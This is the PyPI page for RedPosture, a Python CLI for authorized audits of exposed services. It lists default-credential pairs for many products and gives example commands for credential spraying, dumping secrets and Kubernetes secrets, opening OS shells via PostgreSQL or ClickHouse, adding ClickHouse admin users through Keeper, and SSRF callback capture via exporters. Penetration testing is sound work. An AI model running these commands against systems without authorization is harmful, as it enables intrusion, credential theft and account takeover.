Skip to main content

Ask DeepWiki License CI PyPI version 26 audit modules Python 3.12+

RedPosture

CLI for authorized audits of exposed services. It identifies products, verifies access, reads available inventory, discovers secrets, and checks a bundled offline CVE catalog. Python 3.12+; 26 audit modules plus spray and exporter workflows.

Install

Install the latest published release from PyPI:

pipx install redposture
redposture --version

For the current repository code, use python -m venv .venv, source .venv/bin/activate, then python -m pip install -e .. A local version change appears on PyPI only after a release is published.

Usage

Run redposture MODULE -t TARGET; TARGET can be a host, host:port, URL, CIDR/range, comma-separated list, or file. Use redposture MODULE -h for flags. -o FILE saves output; -f json selects JSON instead of TXT. --debug shows diagnostics. TXT contains confirmed services; unconfirmed detections remain in debug/JSON. Saved files contain no ANSI colors. -ot, --out-target removes matching hosts before ports are expanded; for example, --out-target exclusions.txt.

Default credential checks

--defcreds tries product-specific weak candidates only after detection. The table lists the actual candidates; it is not a list of guaranteed factory passwords. The docker command supports --defcreds only for a confirmed Portainer UI, not Docker Engine.

Module Credential pairs checked
Grafana admin:admin, admin:changeme, admin:grafana, admin:password, grafana:grafana, grafana:password, root:password, root:root, user:password, user:user, admin:12345678
MinIO minioadmin:minioadmin, minio:minio123, minioadmin:minio123, minioadmin:password, admin:admin, admin:minioadmin, admin:password, root:minioadmin, root:password, minio:minio, access:secret, minioadmin:12345678
Proxmox admin@pam:admin, admin@pve:admin, admin@pve:password, root@pam:admin, root@pam:changeme, root@pam:password, root@pam:proxmox, root@pam:Proxmox123, root@pam:root, root@pam:toor, root@pam:12345678
Postgres admin:admin, admin:password, admin:postgres, dev:dev, pgbouncer:pgbouncer, pgbouncer_exporter:pgbouncer_exporter, pgsql:pgsql, postgres:admin, postgres:changeme, postgres:password, postgres:postgres, service:service, test:test, user:password, user:user, postgres:12345678
MongoDB admin:admin, admin:changeme, admin:mongo, admin:mongodb, admin:password, dev:dev, mongo:mongo, mongo:password, mongodb:mongodb, mongodb:password, root:admin, root:mongo, root:mongodb, root:password, root:root, test:test, user:password, user:user, admin:12345678
Oracle admin:admin, admin:changeme, admin:oracle, admin:password, dbsnmp:dbsnmp, dev:dev, hr:hr, outln:outln, pdbadmin:oracle, pdbadmin:pdbadmin, scott:scott, scott:tiger, sys:change_on_install, sys:oracle, sys:sys, system:manager, system:oracle, system:system, test:test, user:user, system:12345678
ClickHouse admin:admin, admin:changeme, admin:password, clickhouse:clickhouse, clickhouse:password, default:<empty>, default:changeme, default:clickhouse, default:default, default:password, root:password, root:root, user:password, user:user, default:12345678
Redis admin:admin, admin:changeme, admin:password, default:changeme, default:default, default:password, default:redis, dev:dev, redis:changeme, redis:password, redis:redis, root:password, root:root, service:service, test:test, user:password, user:user, default:12345678
etcd admin:admin, admin:changeme, admin:etcd, admin:password, etcd:etcd, etcd:password, root:admin, root:etcd, root:password, root:root, root:rootpass, service:service, user:password, user:user, root:12345678
Elastic/OpenSearch admin:admin, admin:changeme, admin:password, elastic:changeme, elastic:elastic, elastic:password, kibana:changeme, kibana:kibana, logstash:logstash, logstash_system:changeme, opensearch:opensearch, opensearch:password, admin:12345678, elastic:12345678
gRPC Basic: admin:admin, admin:changeme, admin:password, dev:dev, grpc:admin, grpc:grpc, grpc:password, guest:guest, root:admin, root:password, root:root, service:password, service:service, test:test, user:password, user:user, admin:12345678.
Bearer tokens: admin, changeme, default-token, grpc, secret, token.
Kafka admin:admin, admin:admin-secret, admin:changeme, admin:kafka, admin:password, broker:broker, broker:brokerpass, client:client, kafka:admin, kafka:changeme, kafka:kafka, kafka:password, kafka:zookeeper, service:password, service:service, user:password, user:user, admin:12345678
ZooKeeper admin:admin, admin:changeme, admin:kafka, admin:password, admin:zookeeper, broker:broker, broker:brokerpass, client:client, dev:dev, guest:guest, hadoop:hadoop, kafka:changeme, kafka:kafka, kafka:password, kafka:zookeeper, root:admin, root:password, root:root, root:rootpass, root:zookeeper, service:password, service:service, solr:solr, super:super, test:test, user:password, user:user, user1:12345, zk:password, zk:zk, zk:zookeeper, zookeeper:admin, zookeeper:password, zookeeper:zookeeper, admin:12345678
Keeper admin:admin, admin:changeme, admin:clickhouse, admin:keeper, admin:password, clickhouse:changeme, clickhouse:clickhouse, clickhouse:keeper, clickhouse:password, default:<empty>, default:changeme, default:clickhouse, default:default, default:password, keeper:changeme, keeper:clickhouse, keeper:keeper, keeper:password, root:clickhouse, root:keeper, root:password, root:root, service:password, service:service, user:password, user:user, default:12345678
Airflow airflow:airflow, admin:admin, admin:airflow, airflow:admin, airflow:password, airflow:changeme, airflow:airflow123, admin:password, admin:changeme, admin:airflow123, root:root, root:password, user:user, user:password, test:test, dev:dev, service:service, guest:guest, admin:12345678
Jenkins admin:admin, admin:changeme, admin:jenkins, admin:password, admin:admin123, admin:12345678, jenkins:jenkins, jenkins:password, jenkins:changeme, jenkins:admin, root:root, root:password, user:user, user:password, test:test, dev:dev, guest:guest, service:service
GitLab root:root, root:password, root:admin, root:changeme, root:gitlab, root:admin123, admin:admin, admin:password, admin:changeme, admin:gitlab, gitlab:gitlab, gitlab:password, gitlab:admin, user:user, user:password, test:test, guest:guest, dev:dev, root:12345678
Harbor admin:Harbor12345, admin:harbor, admin:harbor123, admin:Harbor123, harbor:harbor, harbor:password, then admin:admin, admin:password, admin:changeme, admin:admin123, admin:123456, root:root, root:password, root:admin, root:changeme, user:user, user:password, test:test, guest:guest, dev:dev, service:service, admin:12345678
Nexus admin:admin123, nexus:nexus, admin:nexus, admin:nexus123, admin:sonatype, nexus:password, nexus:admin, then admin:admin, admin:password, admin:changeme, admin:123456, root:root, root:password, root:admin, root:changeme, user:user, user:password, test:test, guest:guest, dev:dev, service:service, admin:12345678
Docker (Portainer only) admin:admin, admin:password, admin:12345678
Docker Registry registry:registry, registry:password, registry:admin, registry:changeme, registry:registry123, docker:docker, docker:password, then admin:admin, admin:password, admin:changeme, admin:admin123, admin:123456, root:root, root:password, root:admin, root:changeme, user:user, user:password, test:test, guest:guest, dev:dev, service:service, admin:12345678
KubeAPI admin:admin, admin:password, root:root, root:password, kubeadmin:kubeadmin, kubernetes:kubernetes, user:user, test:test, admin:12345678
RabbitMQ admin:admin, admin:changeme, admin:password, admin:rabbitmq, guest:guest, guest:password, rabbitmq:admin, rabbitmq:password, rabbitmq:rabbitmq, root:password, root:root, service:password, service:service, test:test, user:password, user:user, admin:12345678

For confirmed UI surfaces, --defcreds also considers these weak pairs, with duplicates removed from the module catalog:

UI Additional pairs
mongo-express admin:pass, admin:admin, admin:password
Kibana elastic:changeme, elastic:elastic, kibana:kibana
OpenSearch Dashboards admin:admin, admin:password
MinIO Console minioadmin:minioadmin, admin:admin
pgAdmin 4 admin@example.com:admin, admin@admin.com:admin
Redis Insight No native UI password. redis:password, admin:admin apply only if a confirmed reverse proxy Basic challenge protects the UI.

consul, keycloak, and qdrant have no --defcreds; use token/API-key options. KubeAPI tests pairs only if Basic is advertised. ZooKeeper/Keeper need a protected znode: credentials unverified does not mean a wrong password. Rate limiting or account lock stops further attempts.

Offline CVE coverage

Every audit command accepts --enum-cve, but a confirmed product, suitable version and catalog match are needed for a finding. The bundled catalog contains 210 records (revision 2026-10-16):

Product CVEs Product CVEs
GitLab 72 PostgreSQL 23
Redis 23 Airflow 11
Grafana 11 Nexus Repository 11
MongoDB 8 Elasticsearch 6
Keycloak 5 MinIO 5
Qdrant 5 RabbitMQ 4
ClickHouse 3 Valkey 3
ZooKeeper 2 Docker Engine 2
Harbor 2 Jenkins 2
Oracle Database 2 etcd 1
Grafana Enterprise 1 Grafana Image Renderer 1
Consul 1 Jenkins Allure plugin 1
Jenkins WSO2ID OAuth plugin 1 Kubernetes 1
OpenSearch 1 pgAdmin 4 1
Proxmox VE 1
Total 210

Known-version matches mean potentially affected, not confirmed exploitability; backports and configuration matter. With an unknown version, catalogued CVEs from the last four years appear as yellow speculative findings. The window uses publication dates or a conservative CVE-year fallback. PR:L requires verified anonymous access or explicit credentials, not merely --defcreds; elevated-permission entries are omitted when the version is unknown. Some Nexus, Grafana and Keycloak entries have additional prerequisites that version matching does not prove. The catalog focuses on High/Critical network issues other than pure DoS. Generic Docker Registry and gRPC have no product match; Kafka broker lacks an exact release and Keeper has no entries. UI-only targets use their own product/version. JSON includes ranges, fixes, CVSS and references.

Web UI coverage

These are product-specific HTTP probes, not browser automation. UI login never proves backend credentials.

Module Covered web UI / API Surface
airflow Airflow webserver/API Native
docker Portainer Related panel
elastic Kibana, OpenSearch Dashboards Related panels
gitlab GitLab web/API and Container Registry Native
grafana Grafana web/API Native
harbor Harbor portal/API Native
jenkins Jenkins web/API Native
kafka Kafbat UI, Provectus Kafka UI, AKHQ, Redpanda Console Related panels
keycloak Realm/OIDC endpoints and token-authorized Admin API Native web/API
kubeapi Kubernetes Dashboard Related panel
minio MinIO Console Related panel
mongodb mongo-express Related panel
nexus Nexus Repository web/API Native
postgres pgAdmin 4, PostgREST Related UI/API
proxmox Proxmox VE web/API Native
rabbitmq RabbitMQ Management UI/API Native
redis Redis Insight Related panel

Kafka also detects Kafka REST Proxy, Kafka Connect, ksqlDB and Schema Registry. Unbounded UI --show-*/--dump writes private JSONL files with resumable checkpoints under .redposture/ui-exports/; numeric limits keep output inline. Redis Insight has no native UI password; Basic authentication may belong to a proxy.

Credential spray

spray verifies pairs or tokens only after product detection. --modules accepts a comma-separated list or all.

redposture spray -t targets.txt --modules airflow,grafana -u admin -p @passwords.txt -o spray-admin.txt
redposture spray -t targets.txt --modules all --pairs pairs.txt --checkpoint spray.sqlite3 -o spray-pairs.txt
redposture spray -t targets.txt --modules keycloak,kubeapi --tokens tokens.txt -o spray-tokens.txt

-u/-p accept literals or files (@file requires an existing file); --pairs splits at the first colon. Defaults: two attempts/s per origin, 60 seconds between attempts for the same account/origin. --resume does not repeat completed or interrupted attempts. Results expose supplied secrets; output and checkpoint files use mode 0600. --module-config accepts auth/transport settings only. Docker Engine and Keycloak cannot verify username/password pairs; Portainer can.

Module examples

Replace example targets and credentials. Add --defcreds or --enum-cve where supported. Modules with --discover-max-bytes default to 50 MiB per target and mark incomplete runs partial.

Airflow

redposture airflow -t https://airflow.example:8080 -u auditor -p 'password' --show-dags --show-keys --show-connections --discover
redposture airflow -t https://airflow.example:8080 -u auditor -p 'password' --dump
redposture airflow -t https://airflow.example:8080 -u auditor -p 'password' --dump --dag example --key warehouse_password --connection warehouse

--dump reads DAG source, Variables and Connections; without selectors it reads all three. The default budget is 50 MiB and five minutes per target.

ClickHouse

redposture clickhouse -t db.example -u auditor -p 'password' --show-databases --show-tables --discover

Consul

redposture consul -t http://consul.example:8500 --keys --services --agents
redposture consul -t http://consul.example:8500 --token "$CONSUL_TOKEN" --key app/config --dump

Docker

redposture docker -t http://docker.example:2375 --containers --images --system
redposture docker -t https://docker.example:2376 --tls-ca ca.pem --tls-cert client.pem --tls-key client.key --containers

Elastic / OpenSearch

redposture elastic -t https://search.example:9200 -u auditor -p 'password' --show-cluster --show-user --discover

etcd

redposture etcd -t http://etcd.example:2379 -u root -p 'password' --show-keys 20 --dump 10

GitLab

redposture gitlab -t https://gitlab.example --token "$GITLAB_TOKEN" --registry-token "$REGISTRY_TOKEN" --show-images

--token authenticates to GitLab web/API; --registry-token authenticates to its Container Registry. SSO, CAPTCHA or rate limiting stops web credential attempts. registry/2.0 identifies the OCI protocol, not the product version.

Grafana

redposture grafana -t https://grafana.example -u auditor -p 'password' --show-datasources

Keycloak

redposture keycloak -t https://id.example/auth --enum-realms
redposture keycloak -t https://id.example --token-file token.txt --show-realms --show-clients

master is checked by default; --enum-realms tests up to 32 candidate names. A token unlocks Admin API realm/client settings and may reveal the exact version. A generic SSO page or UI theme alone does not identify Keycloak or its version.

Jenkins

redposture jenkins -t https://ci.example/jenkins -u auditor --api-token-file token.txt --show-jobs --show-builds 3 --show-plugins --show-nodes --show-queue --show-artifacts 20

Jenkins confirms credentials through its identity endpoint. --show-artifacts lists names and sizes without downloading content; visibility follows account permissions.

gRPC

redposture grpc -t targets.txt --analyze
redposture grpc -t grpc.example --token "$GRPC_TOKEN" --openapi
redposture grpc -t grpc.example --invoke /grpc.health.v1.Health/Check --data '{"service":""}'

Kafka

redposture kafka -t targets.txt --show-topics
redposture kafka -t kafka.example -u auditor -p 'password' --topic events --dump 10
redposture kafka -t kafka.example -u producer -p 'password' --topic audit.events --write-message 'test event'
redposture kafka -t http://kafka-ui.example:8080 -u auditor -p 'password' --show-clusters --show-topics --show-brokers --show-consumer-groups

Kafka UI and broker credentials are verified separately. --show-topics without a count lists all visible topics. UI --dump without --topic reads all visible topics to a resumable file; --dump N keeps a bounded inline result. Older Provectus UI versions page by partition offset up to an end-offset snapshot. Incomplete reads are marked partial.

--probe-write appends an audit marker; --write-message or --write-file sends one record to --topic (binary limit: 1 MiB). A lost acknowledgment is unconfirmed and is never retried automatically.

Keeper

redposture keeper -t targets.txt
redposture keeper -t keeper.example -u auditor -p 'password' --show-znodes 20 --dump 10

Keeper reports anonymous ddl access:Write/Read/Denied/Absent/Unknown for /clickhouse/task_queue/ddl. Its default write probe creates and deletes an empty ephemeral znode, not a DDL task; Write does not prove SQL execution. The probe can trigger watches.

--show-cluster/--show-hosts read existing DDL tasks. --create-user queues a hashed CREATE USER and confirms success only after a worker response; --grant-admin then queues a separate grant. These operations change ClickHouse accounts:

redposture keeper -t keeper.example:9181 --create-user audituser --create-userpass 'strong-password' --grant-admin

Interactive mode asks for cluster/worker selection and y confirmation. --yes skips prompts. Without a usable DDL task, set --clickhouse-cluster and --clickhouse-host (optional --clickhouse-port, default 9000); a queue above 512 tasks also needs explicit values. Keeper does not infer ClickHouse hosts from its own address. {cluster} expands only if configured in ClickHouse.

KubeAPI

redposture kubeapi -t https://cluster.example:6443 --token "$KUBE_TOKEN" --secrets

MinIO

redposture minio -t https://minio.example:9000 -u minioadmin -p 'password' --show-buckets --show-objects --discover

MongoDB

redposture mongodb -t mongo.example -u auditor -p 'password' --show-databases --show-collections

Oracle

redposture oracle -t targets.txt --listener-dump
redposture oracle -t oracle.example --service ORCLPDB1 -u auditor -p 'password' --show-schemas --show-tables --privesc-check

Oracle needs the correct service name for database authentication. Its default limit is 8 concurrent targets; --workers overrides it.

PostgreSQL

redposture postgres -t db.example -u auditor -p 'password' --show-databases --show-tables --privesc-check

PostgreSQL and ClickHouse --os-shell separate stdout/stderr and preview binary output; :hex, :base64 and :save expose captured bytes.

Proxmox

redposture proxmox -t https://pve.example:8006 -u auditor@pve -p 'password' --nodes --discover

Qdrant

redposture qdrant -t http://qdrant.example:6333 --collections
redposture qdrant -t http://qdrant.example:6333 --api-key "$QDRANT_API_KEY" --collection documents --dump 10

RabbitMQ

redposture rabbitmq -t http://rabbitmq.example:15672 -u auditor -p 'password' --enum

Redis / Valkey

redposture redis -t redis.example -u auditor -p 'password' --show-keys 20 --dump 10

Harbor

redposture harbor -t https://harbor.example -u auditor -p 'password' --show-images

Nexus

redposture nexus -t https://nexus.example -u auditor -p 'password' --show-repositories --show-images --show-assets
redposture nexus -t https://nexus.example -u auditor -p 'password' --asset '/team/app.jar'

Docker Registry

redposture docker-registry -t https://registry.example -u auditor -p 'password' --show-images

docker-registry accepts a plain OCI Registry; use harbor, nexus or gitlab for those products. --show-images lists Docker images; nexus --show-repositories lists Nexus storage repositories. --show-tags covers all accessible images unless --repository NAME narrows it. nexus --asset selects an asset without downloading it. Output follows help order: repositories, images, tags, manifests, metadata, assets, downloads. Protected /v2/ Basic pairs can be checked even without an auth challenge.

ZooKeeper

-u/-p and --defcreds use digest ACL or SASL DIGEST-MD5. A protected znode must confirm access; credentials unverified does not prove the password is wrong. Kerberos ticket authentication is separate.

redposture zookeeper -t zk.example -u auditor -p 'password' --show-znodes 20 --dump 10

Exporters

redposture exporters scan -t targets.txt
redposture exporters collect -t targets.txt --deep
redposture exporters trigger -t targets.txt --callback-dns callback.example

Trigger supports Redis, Postgres, Blackbox, Proxmox, MySQL, JSON, Elasticsearch, SNMP and IPMI. It starts callback listeners; -e selects exporters, -s selects listeners, and --profiles-file or exporter-specific auth-module flags add profiles. CRED! requires captured credential material, not merely SSRF. MySQL mysql_native_password yields a challenge response, not plaintext; SNMPv3/IPMI do not reveal passwords. -check can verify captured Redis/Postgres credentials.

Development and checks

git clone https://github.com/MelForze/Redposture.git
cd Redposture
python -m venv .venv
source .venv/bin/activate
python -m pip install -e '.[dev]'
bash scripts/check_before_push.sh --reuse-venvs

List local QA sections with bash scripts/run_full_local_qa.sh --list, or run all sections with bash scripts/run_full_local_qa.sh /tmp/redposture_qa_full.

License

MIT.

Metadata

Release files for redposture 6.0.3

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for redposture 6.0.3
File Size Uploaded Provenance
redposture-6.0.3.tar.gz 968.0 kB With provenance Details

Built distribution (wheel)

Table of built distributions (wheels) for redposture 6.0.3
File Interpreter ABI Platform
redposture-6.0.3-py3-none-any.whl Python 3 none any Details

Total release size: 2.1 MB

Release files / redposture-6.0.3.tar.gz

Download URL redposture-6.0.3.tar.gz
Size 968.0 kB
Tags Source
SHA-256 checksum
How to use checksums
c48fa64f01796f8521bee224cc03ca518a78c2ab3dc4c540353178336de64b95
BLAKE2b-256 checksum
How to use checksums
0d19d052723642a40daba1f8d064a41234364666326585f963a238c80ff1bf38
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.14

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 20, 2026.

Transparency log

Release files / redposture-6.0.3-py3-none-any.whl

Download URL redposture-6.0.3-py3-none-any.whl
Size 1.1 MB
Tags Python 3
SHA-256 checksum
How to use checksums
39281bcabe30d10bff18315874ef402964f765c83fe428b3bff9ef0206edfb4a
BLAKE2b-256 checksum
How to use checksums
9d9ac8f815594931e468480a7284a93db89f405cb878274375e4ae68907591a4
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/7.0.0 CPython/3.13.14

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 20, 2026.

Transparency log

Security for redposture 6.0.3

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

Full provenance

All 2 files in this release have been uploaded with provenance metadata.

Select from 2 files

Attestation for redposture-6.0.3.tar.gz

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 20, 2026.

Transparency log

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page